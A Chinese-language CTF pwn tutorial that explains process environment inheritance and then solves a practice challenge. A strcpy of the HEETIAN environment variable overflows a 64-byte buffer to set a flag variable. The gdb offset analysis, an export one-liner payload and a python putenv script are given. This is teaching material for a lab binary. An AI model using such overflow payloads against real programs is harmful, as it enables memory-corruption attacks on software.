CTF PWN练习之环境变量继承
CTF PWN练习之环境变量继承
今天的实验和上次学习的精确覆盖变量数据有关，CTF PWN练习中的环境变量继承。这个题目有联系到环境变量参数，我们需要知道在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。缺省情况下, 当一个进程被创建时，除了创建过程中的明确更改外，它继承了其父进程的绝大部分环境变量信息。
C语言main函数可以传递三个参数，除了argc和argv参数外，还能接受一个char**类型的envp参数。envp指向一个字符串数组，该数组存储了当前进程具体的环境变量的内容，envp的最后一个元素指向NULL，此为envp结束的标识符。
实验介绍开始
打印环境变量参数信息的示例代码（位于/home/test/3目录下的env.c）：
#include stdio.h>
int main(int argc, char** argv, char** envp)
{
int i = 0;
while (envp[i])
{
printf("envp[%2d] = %s\n", i, envp[i]);
i += 1;
}
return 0;
}
编译这段代码生成env程序，然后在命令行下执行，可以看到程序打印出了具体的环境变量参数信息：
环境变量的格式为：环境变量名=环境变量值
当父进程启动一个子进程时，子进程会继承父进程的换了变量信息。在Linux Shell下，通过export可以给Shell添加一个环境变量，此后通过Shell启动的子进程都会拥有这个环境变量。
在Shell中执行export testenv="Hello_World"之后，再执行./env，可以看到新的环境变量已经被子进程继承了。
除了通过export添加环境变量以外，我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。
看完基础知识之后，我们开始来做题，本文实验题目： if (variable == NULL) { printf("Please set the HEETIAN environment variable\n"); exit(1); } modified = 0; strcpy(buffer, variable); // 调用strcpy进行字符串复制，可引发缓冲区溢出 if (modified == 0x0d0a0d0a) // 判断modified的值是否为0x0d0a0d0a { printf("Congratulations, you pwned it.\n"); } else { printf("Please try again, you got 0x%08X\n", modified); } return 0; } 程序首先通过getenv函数获取名为HEETIAN的环境变量参数，然后使用strcpy函数将其值复制到buffer缓冲区中，我们知道这样可以引发缓冲区溢出。 这里当设置超长的环境变量参数数据时，将会产生缓冲区溢出，数据覆盖buffer后会继续覆盖modified变量。 这只是c语言代码，我们就需要用gdb来进行调试来判断溢出的长度。执行gdb pwn3即可开始通过gdb对pwn3进行调试，现在我们需要阅读main函数的汇编代码，在gdb中执行disas main命令即可，下面是对main函数中的汇编代码的解释（无关代码已经省略）： (gdb) disas main Dump of assembler code for function main: ...... 0x0804848d +9>: movl $0x80485d4,(%esp) ; 调用getenv获取环境变量HEETIAN的值 0x08048494 +16>: call 0x8048364 getenv@plt ; 将结果保存到variable变量，即[esp+0x5c] 0x08048499 +21>: mov %eax,0x5c(%esp) ; 判断返回结果是否为NULL 0x0804849d +25>: cmpl $0x0,0x5c(%esp) 0x080484a2 +30>: jne 0x80484bc main+56> ...... ; 初始化modified变量的值为0，位于[esp+0x58] 0x080484bc +56>: movl $0x0,0x58(%esp) ; 调用strcpy对buffer进行填充，位于[esp+0x18] 0x080484c4 +64>: mov 0x5c(%esp),%eax 0x080484c8 +68>: mov %eax,0x4(%esp) 0x080484cc +72>: lea 0x18(%esp),%eax 0x080484d0 +76>: mov %eax,(%esp) 0x080484d3 +79>: call 0x8048384 strcpy@plt ; 判断modified变量的值是否为0x0d0a0d0a 0x080484d8 +84>: cmpl $0xd0a0d0a,0x58(%esp) ...... End of assembler dump. 通过对上面的汇编代码进行分析，我们知道buffer位于esp+0x18处，而modified位于esp+0x58处，两个地址的距离为0x58 - 0x18 = 0x40，即64，刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时，modified变量就可以被覆盖，但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容，就可以成功发起溢出攻击了。 我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了吗？ 当然不是，之前说到了环境变量，需要构造环境变量然后再来输入。 因为目标机器采用小端格式存储数据，而if语句分支要求modified的值为0x0d0a0d0a时才通过判断，因此我们构造的数据应该为\x0a\x0d\x0a\x0d。 要是感觉连续输入64个a比较麻烦，这里有两种更简便的办法1.通过export修改环境变量前面已经介绍过通过export可以修改环境变量，执行下面的语句： export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")然后运行./pwn3就可以看到攻击效果了，如图所示： 接下来，我们来看通过python脚本动态修改环境变量。 在/home/test/3下存在一个pwn3.py的python脚本，执行cat pwn3.py可以看到源码： import os def pwn(): os.putenv("HEETIAN", "A"*64+"\x0a\x0d\x0a\x0d") os.system("./pwn3") if name == "main": pwn() 为了排除前面的环境变量的干扰，我们先修改HEETIAN的的值为AAA，然后再执行python脚本，可以看到攻击效果，如图所示： pwn3.py先修改HEETIAN环境变量的值，然后通过system启动pwn3程序。
